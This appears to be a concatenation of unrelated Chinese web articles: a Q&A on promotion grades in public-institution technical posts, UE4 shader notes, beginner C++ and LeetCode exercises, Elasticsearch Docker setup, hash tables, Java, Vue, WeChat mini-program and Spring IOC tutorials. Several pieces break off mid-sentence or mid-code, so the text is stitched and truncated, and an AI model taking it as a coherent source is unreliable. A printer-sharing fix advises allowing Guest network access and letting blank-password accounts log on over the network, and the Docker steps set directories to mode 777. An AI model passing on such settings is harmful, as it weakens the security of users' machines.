事业单位计算机技术岗位中级职称,事业单位技术岗能从11级直接转9级吗?

可以肯定的告诉你,这个真不行,专技11级是不能直接晋级为专技9级的。 本人长期从事体制内人事工作,对事业单位人事制度政策非常熟悉。事业单位实行岗位管理后,分为管理岗位、专业技术岗位和工勤技能岗位。管理岗位与公务员的职级相似,这里不做介绍,重点介绍下专业岗位的分类分级情况。事业单位专业技术岗位从高到低分为正高级、副高级、中级和初级四个等级。每个等级里面又分为若干小级别,小级别从高到低共计为13级。 具体情况如下图 事业单位专业岗的晋升。 事业单位专业技术岗位晋升除了必须满足一定任职年限外,还必须取得相应的职称证书。 1、小等级的晋升。比如中级岗位内部的晋升要求在下一小等级任职必须满2年,比如专业技术中级岗位的9级想要晋升专业技术中级岗位的8级必须在9级岗位任职满2年。再者,还必须满足单位上一等级有空缺,没有空缺不能晋升,必须得等到相应岗位空缺后才能晋升。 2、大等级的晋升。大等级的晋升要求有两个,一是必须上一等级有空缺,二是取得相应的职称证书,首次跨等级晋升只能晋升到相应等级的最低一级。比如题主要直接晋升为专业技术7级岗位,这个岗位属于副高级中的最低等级,首先要取得高级职称证书,这方面你已经拥有高级工程师证书,再者单位刚好空出一个7级岗位,所以你可以参与竞聘,成功概率很高。 总结语:针对题主的情况,目前为专业技术岗11级,属于初级里面的最高级,如果取得中级职称证书后,可以晋升到中级的10级岗,然后两年之后可以竞聘中级的9级岗。当然晋升的前提是中级岗位必须要有空岗,要不不能晋升。 请关注轻轻松松谈体制,致力于解答体制内的各种疑惑,谢谢支持! 专技11级不能直接跳级晋升到9级,要升最多也只能升10级。 事业单位专业技术岗位实行职称评聘制。拿到相应的职称后,可以聘到相应的岗位任职享受相应的待遇。其岗位一共分四等十三档,其中一至四级为正高职称岗,五到七级为副高职称岗,八到十级为中级职称岗,十一到十三级为初级职称岗。 从初级职称岗位晋升中级职称岗位,需要取得中级职称资格,并在初级职称岗位任满四年才可以晋升,前提还得有中级岗。从中级岗晋升副高岗,一般要五年,并取得副高职称,副高晋升正高时间与中级晋升副高一样。这是大晋升,同一职称岗位的内部晋升,比如十二级晋升十一级,十级别晋升九级,一般要求在岗两年,且下一个等级岗位有空缺方可晋升。 职称岗位内部的等级晋升原则上不能跳级,比如由十二级或十一级跳到八级或九级,或者由十级或九级晋升六级或五级。低职称岗位要晋升高职称岗位,在取得相应职称的前提下,初次晋升最多只能晋升相应职称岗位的最低等级,也就是所晋职称岗的最低档。比如初级职称晋升中级职称,不管原来是十二级还是十一级,最后晋升成功了,只能聘任到十级岗,而不能跳级到九级或八级岗。有特殊贡献或突出表现的,可以跨级晋升,比如从初级直接晋升副高,晋升成功后,也只能聘任到七级岗,而不能直接跳级到六级或五级岗。 总的来说,事业单位专技岗晋升,大晋升允许跳档,但小晋升(内部岗位等级晋升)只能逐级来,而不能跳级。这是专技岗晋升的基本原则。 事业单位专业技术岗能从十一级直接转九级吗?答案是——不能!在回答这个问题之前,我们先得搞清楚专业技术岗到底分为多少级、具体是按照什么来区分的? 专业技术岗如何分级 目前,我国事业单位的专业技术岗共分十三级,高级职称对应一至七级、中级职称对应八至十级、初级职称对应十一至十三级。没有取得相应资格或职称者,不定级。换言之,事业单位专业技术岗的等级是跟职称直接挂钩的!如果您的职称没能获得晋升,那么最高等级只能达到您自身职称范围内的最高等级。比如中级职称的主治医师,如果没有考到副主任医师职称,最高只能晋升到专业技术岗八级。 那么,主治医师的专业技术岗八级至十级又是怎么区分的呢?这个主要是和工龄挂钩的,只要没有受到什么相关处分,一般情况下定期都会调级。刚刚晋升主治医师的医生一般是专业技术岗十级,随着工龄的增长会逐步晋升到专业技术岗八级。但是,无论如何晋升,作为中级职称的主治医师只能晋升到专业技术岗八级。想要晋升专业技术岗七级,必须考到副主任医师职称!否则就算您干到退休,也只能是专业技术岗八级…… 回到提问者的问题,专业技术岗十一级是初级职称的最高等级,而九级则是中级职称的第二等级。换句话说,专业技术岗十一级想要晋升专业技术岗九级,必须先由初级职称晋升为中级职称!而且,在晋升了中级职称之后,也只能先晋升为专业技术岗十级,不可能直接由十一级跳到九级。如果您没有晋升中级职称,无论您干多少年、哪怕是干到退休,也只能是专业技术岗十一级、永远不可能转为专业技术岗十级,就更别说是九级了。 谢邀,欢迎关注! 正常情况下,事业单位技术岗11级是不可以直接晋升9级的。主要理由如下: 1、助理级专业技术岗位对应11级-12级。 2、中级专业技术岗位对应8级-10级。 据此,你想晋升9级,首先要取得中级职称后晋升10级,满足一定年限后再晋升9级。 明确地说:事业编专业技术岗,一般都是逐级晋升,原则上不会越级晋升。但也有特殊情况,可以越级提拔晋升。专业技术11级属于初级职称职级,9级属于中级职称职级,要想从11级直接升为9级,笔者所在地方的规定是:至少取得国家级表彰荣誉,比如自然科学奖、科技发明奖、科技进步奖等。 (一)专业技术岗分为3个职称13个等级。3个职称为:高级职称、中级职称、初级职称。13个等级为1-13级。其中,初级职称对应11至13级,中级职称对应10至8级,高级职称对应7至1级。 (二)专业技术初、中、高级比例设置,一般比例为6:3:1。根据经济社会发展及事业单位的功能、规格、隶属关系和专业技术水平,结构比例总体控制目标为1:3:6。 (三)专业技术等级晋升条件,需要取得相应的职称,任职也要满规定年限。初级晋升晋升中级需要取得中级职称,中级晋升高级需要取得高级职称。每个等级晋升,也要需要任职满规定年限,比如13级晋升12级,需要任职13级满2年以上,11级晋升10级,需任职满3年以上,且取得单位中级职称。 (四)专业技术岗位特殊情况下也可以越级晋升,但其条件比较要求非常高。专业技术等级,一般是逐级晋升,原则上不会越级晋升。但也有特殊情况,可以越级提拔晋升。专业技术11级属于初级职称职级,9级属于中级职称职级,要想从11级直接升为9级,笔者所在地方的规定是:至少取得国家级表彰荣誉,比如自然科学奖、科技发明奖、科技进步奖等奖项。 我就是从12级初级直接跳到10级中级的,前提是你得了中级职称,但从11级到9级应该不行,只能跳到中级最低档的10级 有中级职称又有岗位可以直接到十级 正常情况下,事业单位技术岗11级是不可以直接晋升9级的。主要理由如下: 1、助理级专业技术岗位对应11级-12级。 2、中级专业技术岗位对应8级-10级。 据此,你想晋升9级,首先要取得中级职称后晋升10级,满足一定年限后再晋升9级。 取得相应专业中级资格证后,如果单位专技10级岗位有空岗,则通过竞聘上岗可以由11升10。10级满1年后,如果专技9级岗位有空岗,才可以由10级升到9级。

UE4实时渲染——几何结构渲染三

上一节:UE4实时渲染——几何结构渲染二 这一节讲一下着色器Shader中的Vertex Shader顶点着色器。 着色器Shader 着色器shader是一个在渲染中很常见的概念,可以这样简单的认为:着色器的代码,它的功能就是输入一组数据,使用它运算后,输出另一组数据。 着色器shaders的分类有许多:顶点着色器Vertex Shader、像素着色器Pixel Shader、片段着色器Fragment Shader、域着色器Domain Shder等。 着色器非常高效,我们之所以使用着色器系统,是因为我们的硬件没有足够的运算能力,例如你没办法把它单纯的交给GPU架构或CPU架构来运算处理。所以就设计出了一个着色器系统,专门用来处理大量的简单运算,并且通常是并行运算。 顶点着色器Vertex Shader(首个着色器) 顶点着色器有三个用途: 1、将本地坐标的顶点位置,转换为世界坐标中的位置 比如有一个立方体,以中心为三维空间原点,那么它的8个顶点以边长的一半,都可以被表示出来,那么这个表示方式,就是该模型保存的本地坐标的顶点位置。 当把他放在世界中,它的8个顶点的位置,会相对世界的原点而计算新的位置,这个位置就是世界坐标中的位置。 而顶点着色器,就是将模型本地顶点位置,根据其在世界坐标系中的具体位置,转换成世界坐标位置。 2、顶点着色器会处理平滑过渡、硬边缘、柔化边缘以及顶点的颜色。 3、能够应用偏移 既然可以将本地坐标的顶点位置,转换为世界坐标中的位置,那么就可以进行位置偏移,无论是转换后偏移,还是转换前偏移。这种偏移处理,属于渲染出来的效果,与实际物体的位置有差异。比如当把物体通过顶点着色器沿着Z方向偏移很远,实际看起来的效果确实沿着Z方向偏移了很远,但其原来位置仍有它的实体存在,碰撞盒就在原来的位置没变,可以进行物理碰撞等动作。也就是说CPU并不知道顶点着色器渲染出的物体进行了偏移。如图: 这种技术,可以应用于水波纹、布料自然褶皱、植被摇晃草地自然飘动、旗帜的自然飘动等效果,如图: 该图中的草,只周期性的改变了顶端顶点的位置,而没有改变地面顶点位置。 我们可以用这种效果来代替动画,我们不可能为这一大片草地的每一株草设置动画,使用草的骨骼和骨架,上百万个顶点的每一帧的骨骼和骨架的实时位置,那将是一个极其消耗性能的行为。 顶点着色器可以这样做,因为他们进行过优化处理。要记住的是,我们不能使用顶点着色器的这一功能,来实现十分重要的物理效果,它只能用于视觉效果。 需要注意的几个点: 1、动画越复杂,效率就会越低下。 2、模型点数越多,效率就会越低下。 3、高面数对象,应该使用更简单的顶点着色器。 4、禁用远距离世界坐标偏移:意思就是当我们与正在使用顶点着色器渲染动画的对象相隔一定距离时,我们应该禁用掉它的顶点着色器中坐标偏移的功能,也就是动画功能,这可以让性能好一些。(实际上,动画、特效和偏移都应该如此处理)

1074:津津的储蓄计划

1074:津津的储蓄计划 时间限制: 1000 ms 内存限制: 65536 KB 说明: 主要考查for循环。这是NOIP2004复赛提高组第一题,稍微有点难度。 题目概述: 津津每月初多出300元(妈妈给的)。 每月减去预算把整百存给妈妈,例如有369,就存300给妈妈,自己留69。 如果某月出现超支(预算大于自己手上的钱),则输出-X,X表示哪个月出现超支。 否则,年底津津拿回存到妈妈的钱,还拿到其中20%的津贴,并且加上津津手上的零钱。最后输出津津总共有多少钱。 思路分析: 比赛的题目描述一般都比较长,上述《题目概述》已说明关键。 输入12个月的预算应使用循环来完成,每循环一次,输入一个月的预算,同时算出是否超支,如果超支,则输出该月,并结束程序;否则把整百存给妈妈,继续循环。 循环结束后,如果12个月都没有出现超支,则算出存到妈妈的钱+其中的20%+津津手上剩余的钱。最后输出津津的全部零钱。 数据类型:每月的预算是小于350的非负整数,范围很小。而且可能出现超支,即出现负数的情况,输出的结果也是整数,所以可选int类型。 重难点: 因为在循环中输入数据,并且判断是否超支,如果超支则不必往下个月继续输入,直接输出结果并退出程序即可。当然也可以退出循环,在循环外进行条件输出。 如何退出程序或循环呢? 可以选择return 0或使用函数exit。但建议使用break关键字退出循环。 其次,在算出津津手上最终的零钱,不能忽略存到妈妈的钱,还有其中20%的津贴,都要拿回来。 然后是整百存给妈妈,应如何计算? 假设津津手上的零钱为me,那么me÷100×100就是整百了。原理:me÷100可以把个位和十位清零,只剩百位以上的数字,此时百位变为个位,最后再×100就变为整百,此时个位和十位都为0。 例如: 369÷100=3(因为整数相除不保留小数部分) 3×100=300 最后,如果整百存给妈妈,那么自己的零钱如何计算呢? 方法有两种,第一种是把原来的钱减去存给妈妈的钱;第二种是把原来的钱%100。关于%100的原理,可以参考文章: 【信奥】如何深刻理解除法和取模运算(基础篇) 求解过程: 声明3个int类型变量me = 0、mom = 0、spend,me表示津津自己,mom表示妈妈,spend表示每月的预算。 循环12次,代表12个月,循环体中: 1.津津手上多出300元,me += 300。 2.输入1个整数给变量spend,表示当月的花销预算。 3.津津手上的钱减去花销,me -= spend。 4.如果出现超支,即me < 0,则存储是哪个月份出现超支,即me = -i。并且退出循环。 5.否则,把整百的钱存给妈妈,并且计算津津剩余的零钱。 6.i++。 循环外: 如果津津的钱小于0,表示出现超支,而me保存的是超支的月份,为负数,则输出该月的负数。 否则,输出年底津津手上的所有零钱是多少。 参考代码 - C++: 12个月后算出津津手上零钱的公式: 津津手上的钱me+存给妈妈的钱mom+其中的津贴mom×20% 即: me + mom + mom * 0.

1069:乘方计算

1069:乘方计算 时间限制: 1000 ms 内存限制: 65536 KB 【题目描述】 给出一个整数a和一个正整数n(-1000000≤a≤1000000,1≤n≤10000),求乘方an,即乘方结果。最终结果的绝对值不超过1000000。 【输入】 一行,包含两个整数a和n。-1000000≤a≤1000000,1≤n≤10000。 【输出】 一个整数,即乘方结果。题目保证最终结果的绝对值不超过1000000。 【输入样例】 2 3 【输出样例】 8 说明: 主要考查乘方问题在循环中的应用。 an表示n个a进行相乘的结果。例如a = 2,n = 3,表示3个2相乘,即2×2×2=8。 题目概述: 输入a和n,求出乘方an的结果。 思路分析: 在上方已说明乘方的概念。利用循环即可。 输入a和n,循环n次,每次乘以a。循环n次后,刚好有n个a相乘。 应使用一个变量来存储每次乘以a的结果,可以用变量power来表示乘方。同时变量power应有一个具体的初值。在以前的求和或计数中,变量sum初值为0,cnt初值为0。但那是相加,而现在是相乘,如果power初值为0,那么0乘以任何数都为0,而1乘以任何数都为该数本身,所以power初值应为1。算法与求和一样,只不过把加号改为乘号而已。 数据类型:本题的数据看似很大,其实题目已指明最终结果的绝对值不超过1000000,所以选择int类型即可。 延伸学习: 本题除了使用循环外,还可以使用数学库函数pow,用法如下: pow(a, n) C++头文件 C语言头文件<math.h> 例如a = 2,n = 3,那么pow(a, n)的结果为8。 在下方代码中也会展示本方法。 建议初学者应使用循环来完成,从而达到进一步熟练循环的基本用法和对乘方的理解,使自己的算法能力得到更好的提升。 求解过程: 声明3个int类型变量a、n、power = 1。 输入2个整数分别给变量a和n。 循环n次,循环体中: 1.将power乘以a赋给power。 2.i++。 循环外: 输出power的值。 参考代码 - C++: // 方法1(循环) #include <iostream> using namespace std; int main() { int a, n, power = 1; cin >> a >> n; for (int i = 1; i <= n; i++) power *= a; // 相当于power=power*a cout << power; return 0; } // 方法2(pow函数) #include <iostream> #include <cmath> using namespace std; int main() { int a, n; cin >> a >> n; int power = pow(a, n); cout << power; return 0; } 参考代码 - C语言:

事业单位 软考 计算机职称吗,事业单位认软考职称考试吗

原标题:事业单位认软考职称考试吗 事业单位承认软考吗?很多在事业单位上班的朋友想考软考证书来评职称,那么事业单位考计算机软考到底有用吗?评职称一般是在国企或者事业单位才能评聘,因此很多在事业单位上班的朋友会考取软考证书来帮助评职称,那么事业单位承认软考吗?软考也属于职称资格考试,通过软考获得证书的人员,用人单位可根据工作需要从获得证书的人员中择优聘任相应专业技术职务,也就是职称。软考是全国统考,达到国家软考合格标准所颁发的证书在全国范围内有效。 所以,对于想评职称的朋友来说,计算机软考证书还是有一定用处的。一般来说很多事业单位都是承认软考的,当然也有可能因为单位性质不同,对证书的要求也不一样。因此考生在报考前可以咨询下所在单位人事部门,再决定是否报考。每年的政策都在变化,因此很多朋友想知道2020年软考证书到底还有哪些作用,盛泰鼎盛小编为大家整理了软考证书的作用:1、软考证书可以帮助申请评职称。通过软件水平考试获得证书的人员,用人单位可根据工作需要从获得证书的人员中择优聘任相应专业技术职务。 盛泰鼎盛 软考初级证书可聘任技术员或助理工程师职务;软考中级证书可聘任工程师职务;软考高级证书可聘任高级工程师职务。2、在一些大城市有“积分落户”政策,有了相应的软考证书可以帮助落户申请加分,对于想要在大城市落户的朋友也是有帮助的。3、考取了软考证书,也证明了相应的能力,在一定程度上提高了自己在同行业的竞争优势。很多考生都知道软考高级是很难考的,那么软考高级证书到底有用吗?既然高级资格考试有一定的难度,如果考试通过拿到了证书有哪些用呢?软考高级证书有用吗?软考高级证书考了肯定是有用的,只是每个人考取的目的可能会有所不同,有的可能是为了评职称。返回搜狐,查看更多 责任编辑:

二分查找算法 四种题型六道题目总结,从此二分不迷路!

前言 二分查找在算法中一般有四类题目: 排序或通过排序后的数组,快速求某个值的下标 35.搜索插入位置 求某个值在数组中的左右端点 34.在排序数组中查找元素的第一个和最后一个位置 (中等) 通过条件判断进行二分查找 278.第一个错误的版本 875.爱吃香蕉的珂珂(中等) 局部有序的二分查找 33.搜索旋转排序数组(中等) 81.搜索旋转排序数组II(中等) 今天将这四类列举六道题,让大家一次看个够,从此二分不迷路! 35.搜索插入位置 https://leetcode-cn.com/problems/search-insert-position/solution/35sou-suo-cha-ru-wei-zhi-pythonji-chu-er-c0xq/ 难度:简单 题目 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中, 返回它将会被按顺序插入的位置。 你可以假设数组中无重复元素。 示例 示例 1: 输入: [1,3,5,6], 5 输出: 示例 2: 输入: [1,3,5,6], 2 输出: 1 示例 3: 输入: [1,3,5,6], 7 输出: 4 示例 4: 输入: [1,3,5,6], 0 输出: 0 分析 手写二分解题 class Solution: def searchInsert(self, nums, target): left, right = 0, len(nums) - 1 while left <= right: mid = (left + right) // 2 if nums[mid] == target: return mid if nums[mid] > target: right = mid - 1 else: left = mid + 1 return left api解题 class Solution: def searchInsert(self, nums, target): return bisect.

计算机数值模拟仿真技术的优点,数值模拟的优缺点优点.ppt

数值模拟的优缺点优点 观测与模拟技术 回顾气象学发展的历史 古代气象学 现代气象学 气象学是建立在观测基础之上的一门科学 观测的重要性 了解大气 常规观测:地面观测、 高空观测 非常规观测:雷达、卫星观测 验证预测 观测与观测技术 大量有关边界层的结构极其演化、规律的知识来自观测 观测大致分为2类 a) IN SITU (in the position of) b) REMOTE SENSING 根据探测原理:主动式,被动式 a) IN SITU (in the position of) examples include: surface weather stations portable mesonet stations instrumented towers balloon soundings aircraft tetroons tethersondes b) REMOTE SENSING examples include: Doppler radars (like the WSR-88D) profilers RASS (radio acoustic sounding system) sodars lidars photogrammetry Surface Weather Stations?

Elasticsearch-搭建ES集群,安装IK分词器-Docker(一)

目录 1. 安装Elasticsearch1.1 安装1.2 创建虚拟网络和挂载目录1.3 修改系统参数 max_map_count1.4 启动Elasticsearch集群1.5 安装chrome浏览器插件:elasticsearch-head 2. 安装IK分词器2.1 下载IK分词器2.2 安装IK分词器2.3 如果分词器不可用2.4 分词测试ik_max_word 分词测试ik_smart 分词测试 1. 安装Elasticsearch 1.1 安装 docker pull elasticsearch:7.9.3 1.2 创建虚拟网络和挂载目录 # 创建虚拟网络 docker network create es-net # 创建并设置文件属性为777 # node1 的挂载目录 mkdir -p -m 777 /var/lib/es/node1/plugins mkdir -p -m 777 /var/lib/es/node1/data # node2 的挂载目录 mkdir -p -m 777 /var/lib/es/node2/plugins mkdir -p -m 777 /var/lib/es/node2/data # node3 的挂载目录 mkdir -p -m 777 /var/lib/es/node3/plugins mkdir -p -m 777 /var/lib/es/node3/data 1.

C++哈希表概念及常用函数方法

实现哈希表的两种方法: 哈希(散列)函数的定义 关键值key: 实现过程: 键值对和Entry(一个意思) 哈希冲突: 处理哈希冲突的方法: 1、开放寻址法 2、拉链法 3、冲突过多 哈希表的扩容: 常用的函数方法!!!: https://blog.csdn.net/Peealy/article/details/116895964?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162942757216780357268753%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=162942757216780357268753&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-5-116895964.pc_search_result_cache&utm_term=C%2B%2B%E5%93%88%E5%B8%8C%E8%A1%A8%E7%9A%84%E6%9F%A5%E6%89%BE%E5%87%BD%E6%95%B0&spm=1018.2226.3001.4187 本文根据以下地址进行再一次整理 https://blog.csdn.net/sinat_33921105/article/details/103344078?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162613581416780262550821%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=162613581416780262550821&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-103344078.first_rank_v2_pc_rank_v29&utm_term=%E5%93%88%E5%B8%8C%E8%A1%A8&spm=1018.2226.3001.4187 首先我们需要知道的是哈希表的本质是一个数组 实现哈希表的两种方法: 1、数组+链表 2、数组+二叉树 哈希(散列)函数的定义 关键值key: 就比如想要去查一个人的电话号码,那么此时我们可以将他的名字当作是关键词。 实现过程: 键值对和Entry(一个意思) 键值对,就是我们经常说的key-value,简单点说就是一个值对应另外一个值,比如a对应b,那么a就是key,b是value,哈希表存放的就是这样的键值对,在哈希表中是通过哈希函数将一个值映射到另外一个值的,所以在哈希表中,a映射到b,a就叫做键值,而b呢?就叫做a的哈希值,也就是hash值。 总结下来就是键值对和Entry保存的是key和value两个值 哈希冲突: 比如现在张三和李四就发生了哈希冲突 处理哈希冲突的方法: 1、开放寻址法 这里所说的开放寻址法其实简单来说就是,既然位置被占了,那就另外再找个位置不就得了,怎么找其他的位置呢?这里其实也有很多的实现,我们说个最基本的就是既然当前位置被占用了,我们就看看该位置的后一个位置是否可用,也就是1的位置被占用了,我们就看看2的位置,如果没有被占用,那就放到这里呗,当然,也有可能2的位置也被占用了,那咱就继续往下找,看看3的位置,一次类推,直到找到空位置。 2、拉链法 拉链法则不同,还是在该位置,可是,该位置被占用了咋整,这里采用的是链表,就像图中所示,现在张三和李四都要放在1找个位置上,但是张三先来的,已经占了这个位置,待在了这个位置上了,那李四呢?解决办法就是链表,这时候这个1的位置存放的不单单是之前的那个Entry了,此时的Entry还额外的保存了一个next指针,这个指针指向数组外的另外一个位置,将李四安排在这里,然后张三那个Entry中的next指针就指向李四的这个位置,也就是保存的这个位置的内存地址,如果还有冲突,那就把又冲突的那个Entry放在一个新位置上,然后李四的Entry中的next指向它,这样就形成了一个链表。 3、冲突过多 如果冲突过多的话,这块的链表会变得比较长,怎么处理呢?这里举个例子吧,拿java集合类中的HashMap来说吧,如果这里的链表长度大于等于8的话,链表就会转换成树结构,当然如果长度小于等于6的话,就会还原链表。以此来解决链表过长导致的性能问题。 中间有个7作为一个差值,来避免频繁的进行树和链表的转换,因为转换频繁也是影响性能的啊。 哈希表的扩容: 当哈希表被占的位置比较多的时候,出现哈希冲突的概率也就变高了,所以很有必要进行扩容。 那么这个扩容是怎么扩的呢?这里一般会有一个增长因子的概念,也叫作负载因子,简单点说就是已经被占的位置与总位置的一个百分比,比如一共十个位置,现在已经占了七个位置,就触发了扩容机制,因为它的增长因子是0.7,也就是达到了总位置的百分之七十就需要扩容。 还拿HashMap来说,当它当前的容量占总容量的百分之七十五的时候就需要扩容了。 而且这个扩容也不是简单的把数组扩大,而是新创建一个数组是原来的2倍,然后把原数组的所有Entry都重新Hash一遍放到新的数组。因为数组扩大了,所以一般哈希函数也会有变化,这里的Hash也就是把之前的数据通过新的哈希函数计算出新的位置来存放。

echars放大缩小自适应

echars随着屏幕放大缩小 document.getElementById("mainNum")).style.width='100%' window.addEventListener("resize", () => { echarts.init(document.getElementById("mainNum")).resize(); }); 原理:浏览器监听屏幕大小变化,执行echarts中的chart.resize()方法。只要屏幕尺寸发生改变,echarts实例会跟着同比例放大缩小。

Java面向对象基础——类和对象

类和对象 1.什么是对象和类 万物皆可对象,客观存在的事物皆为对象 类是对现实生活中一类具有共同属性和行为的事物的抽象 类的特点: 类是对象的数据类型类是具有相同属性和行为的一组对象的集合 2.什么是对象的属性和行为 属性:对象既有的各种特征,每个对象的每个属性都拥有特定的值 行为:对象能够执行的操作 3. 类和对象的关系 类:类是对现实生活中一列具有共同属性和行为的事物的抽象 对象:是能够看得到摸得着的真实存在的实体 类是对象的抽象,对象是类的实体 类的定义 类的重要性:是Java程序的基本组成单位 类是什么:是对现实生活中一类具有共同属性和行为的事物的抽象,确定对象将会拥有的属性和行为 类的组成:属性和行为 属性:在类中通过成员变量来体现(类中方法外的变量)行为:在类中通过成员方法来体现(和前面的方法相比去掉static关键字即可) 类的定义步骤: //1.定义类 public class 类名{ //2.编写类的成员变量 变量1的数据类型 变量1; 变量2的数据类型 变量2; ... //3.编写类的成员方法 方法1; 方法2; ... } 范例: public class Phone { // 成员变量 String brand;// 品牌 int price; // 成员方法 public void call() { System.out.println("打电话"); } public void sendMessage() { System.out.println("发短信"); } } 对象的使用 创建对象 格式: 类名 对象名=new 类名(); 范例: Phone p=new Phone(); 使用对象

连接共享打印机时提示无法访问计算机,win10共享打印机提示无法访问.你可能没有权限使用网络资源怎么解决...

最近有朋友问小编自己的电脑遇到了错误提示:“无法访问.你可能没有权限使用网络资源。请与这台服务器的管理员联系”,这是怎么回事呢?连接共享打印机没有权限访问应该怎么办呢?别着急,今天小编就针对此问题,为大家带来打印机共享无法访问没有权限的解决方法,一起来看看吧。 win10共享打印机提示无法访问怎么解决: 1、默认情况下,Windows的本地安全设置要求进行网络访问的用户全部采用来宾方式。同时,在Windows XP安全策略的用户权利指派中又禁止Guest用户通过网络访问系统。这样两条相互矛盾的安全策略导致了网内其他用户无法通过网络访问使用Windows的计算机; 2、解除对Guest账号的限制 点击“开始→运行”,在“运行”对话框中输入“GPEDIT.MSC”,打开组策略编辑器,依次选择“计算机配置→Windows设置→安全设置→本地策略→用户权利指派”,双击“拒绝从网络访问这台计算机”策略,删除里面的“GUEST”账号。这样其他用户就能够用Guest账号通过网络访问使用Windows系统的计算机了; 3、更改网络访问模式 打开组策略编辑器,依次选择“计算机配置→Windows设置→安全设置→本地策略→安全选项”,双击“网络访问:本地账号的共享和安全模式”策略,将默认设置“仅来宾?本地用户以来宾身份验证”,更改为“经典:本地用户以自己的身份验证”; 4、现在,当其他用户通过网络访问使用Windows XP的计算机时,就可以用自己“身份”进行登录了(前提是Windows中已有这个账号并且口令是正确的); 5、将 安全选项中 的 使用空密码的本地账户只允许控制台登录 改为已禁用。原来在“安全选项”中有一个“账户:使用空白密码的本地账户只允许进行控制台登录”策略默认是启用的,根据Windows安全策略中拒绝优先的原则,密码为空的用户通过网络访问使用Windows的计算机时便会被禁止。我们只要将这个策略停用即可解决问题。 好了,以上就是关于win10共享打印机提示无法访问.你可能没有权限使用网络资源怎么解决的全部内容了,希望本篇教程能够帮助到大家。

ant-design-vue 中table嵌套table导致内部table数据互相影响的解决方案

最近在项目开发过程中遇到一个table嵌套table,内部table数据冲突的问题,记录一下我的解决方法避免之后再次踩坑 一、为了更好了解数据的结构我们先看一下布局 <template> <div class="deviceManagement"> <a-table size="small" :row-selection="{ selectedRowKeys: selectedRowKeys, onChange: onSelectChange }" :columns="columns" :data-source="data" :pagination="false" @expand="expand" > <a-table slot="expandedRowRender" size="small" :columns="interiorColumns" rowKey="key" slot-scope="scoped" :pagination="false" :scroll="{ y: 300 }" :data-source="scoped.list" > </a-table> </a-table> </div> </template> 二、从布局中我们可以看到内部table用了外部table的数据 slot-scope="scoped" 三、现在我们就能确认我们数据的格式了 textData: [ { id: 0, name: '损坏', number: 10, list: [{ name: 0, type: '流量控制阀', cailber: 100, desc: '备注' }] }, { id: 1, name: '常关', number: 15, list: [{ name: 0, type: '蝶阀', cailber: 15, desc: '备注' }] } ] 四、顺便说一下说一下如何获取到这种格式的数据 1、如果数据量很小的话可以直接由后台返回 2、如果数据量很大的话,就好比我现在的情况。我是通过table的expand方法和后台交互获取到数据追加到点击的外部table数据中 getValveTypeDetails(type, index) { getValveTypeDetail({ type }).

微信小程序全栈开发实践 第二章 微信小程序组件介绍及使用 -- 2.4 view组件及其重要属性,flex布局中常用的样式及样式值

一、view组件及其重要属性 view最主要的功能是布局 1.1 相关属性 属性1:hover-class 指定按下去的样式类 这个属性指定按下去的类样式,让容器有一个单击效果, 当hover-class="none"时,或者没有设置这个属性时,就没有单击态的效果。 单击、再松开手指之后,容器组件恢复之前的状态。 <view hover-class="bc_red" class="section__title">content</view> hover-class 这个属性名称有一定的迷惑性, 在HTML开发中,mousehover事件指的是鼠标悬停事件,hover有悬停的意思,mousedown才是鼠标按下去的事件。 属性2:hover-stop-propagation 组织父节点出现单击态, 默认为false,不阻止 hover-stop-propagation="{{false}}" 单击子组件的时候,父组件同时也有了一个样式的改变。 hover-stop-propagation 子容器有单击态,父容器没有, 虽然父容器也设置了hover-class属性, 但触碰事件被子容器给阻止了。 事件三阶段 我们通过跟踪父子组件的tap事件,验证一下hover-stop-propagation属性的作用。 在示例中我们给两个view,一对父子容器同时绑定tap事件, 为方便追踪,为父子容器都分配了id,父容器id是parentView,子容器是childView。 单击一次父容器,输出一次。 单击一次子容器却输出两次。 为什么会触发两次的tap事件? 这是因为每个事件它都有捕捉、目标与冒泡三个阶段, 在view视图容器上使用bind绑定的事件, 默认会在目标与冒泡这两个阶段派发事件, 子组件的冒泡事件默认会向上传递。 hover-stop-propagation这个属性 就是为了阻止父组件出现hover-class样式, 但是它还不能阻止冒泡事件向上传递、 当我们设置这个属性以后, 我们单击子组件,仍然可以看到两次输出。 那么我们可以让子容器view的tap事件只派发一次吗? 答案是肯定的,可以使用catch绑定事件函数, catch与bind的作用相同, 与bind不同的是: catch会阻止事件向上冒泡。 catch是在事件的捕捉阶段监听事件的。 将子容器的bindtap改为catchtap, 这样单击子容器组件的时候便不会输出两次了。 <!-- 事件三阶段--> <view id="parentView" bindtap="onTap" hover-class="bc_red" class="section__title"> parent <view id="childView" bindtap="onTap" hover-stop-propagation hover-class="bc_green" class="section__title"> child view </view> </view> <!-- 5 子组件只输出一次--> <!

一文带你深入剖析Spring IOC 实现原理

IOC是什么 IOC是“Inversion of Control”的缩写,翻译过来就是“控制反转”。 我们先不深究其在Spring中的含义,先从字面上进行分析。打个比方来说:结婚前你的工资完全由你来支配,想怎么花就怎么花。结婚后变了,你的钱要上交给你媳妇了,你想花的时候得申请。此时你对工资的控制转变了,由原来的你控制,变成了你媳妇控制。这就是“控制反转”,本来属于你控制的事情,交由别人来控制,而你只在需要的时候进行获取就可以了。 Spring全家桶地址:Spring最新全家桶资料集锦 相信通过这个比喻大家对“控制反转”的含义都已经理解了,那么它在Spring中的体现就是:把创建对象的过程交给Spring来进行管理,从而做到将原来需要自己手动new对象,变成直接从Spring中获取。 这就就好比Spring中有一个容器,我们将Bean放到这个容器中,让这个容器为我们创建实例,当需要时我们直接从这个容器中进行获取即可。这个容器的实现理念就是IOC。 为什么使用IOC 使用IOC最大的好处就是减少了代码的耦合度,降低了程序的维护成本。可能很多人都知道这个道理,就是不太明白它到底是怎么降低的,别慌下面让我来给大家讲解一下。 假设现在有一道菜:宫保鸡丁。 // 伪代码 public class KungPaoChicken { public static KungPaoChicken getKungPaoChicken(各种食材) { // 加工各种食材最终得到一份美味的宫爆鸡丁。 return KungPaoChicken; } } 传统做法 如果现在不使用IOC,我们想要吃到宫保鸡丁,那么就需要如下操作。 // 伪代码 public class Person() { // 采购各种食材 // 